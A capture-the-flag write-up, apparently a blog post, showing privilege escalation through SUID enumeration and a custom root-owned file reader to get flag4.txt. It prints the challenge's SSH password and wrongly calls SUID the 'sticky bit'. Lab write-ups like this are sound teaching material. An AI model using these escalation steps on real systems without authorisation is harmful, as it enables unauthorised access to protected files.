Talking to the Dead 4


We suspect spookyboi doesn't use the root account for this server. There must be some mechanism used to read the flag4.txt file without gaining root. Submit the contents of flag4.txt from the remote machine.

ssh Password: hacktober-Underdog-Truth-Glimpse


First step was to locate the flag:

 find / -xdev -name "flag4.txt" 2>/dev/null

$ ls -l /root/flag4.txt 
-rw------- 1 root root 47 Oct  6 08:41 /root/flag4.txt

The flag is only readable by root so I need to find a method to elevate my privileges. I start by looking for binaries having "Set User ID" (SUID) permissions. The SUID permission allows users to execute a file with the permissions of a specified user. The find command can be used to search for files with SUID permissions, a.k.a "sticky bit":

$ find / -xdev -perm -u=s -type f 2>/dev/null


The majority of the binaries are the expected OS utilities, except for /usr/local/bin/ouija. I check it's ownership and whether it has any help information.

$ ls -l /usr/local/bin/ouija

-rwsr-xr-x 1 root root 16856 Oct  6 10:49 /usr/local/bin/ouija

$ /usr/local/bin/ouija       

OUIJA 6.66 - Read files in the /root directory
Usage: ouija [FILENAME]
	ouija file.txt

So the binary is basically a version of cat that will run with root permissions:

$ /usr/local/bin/ouija flag4.txt




Leave a comment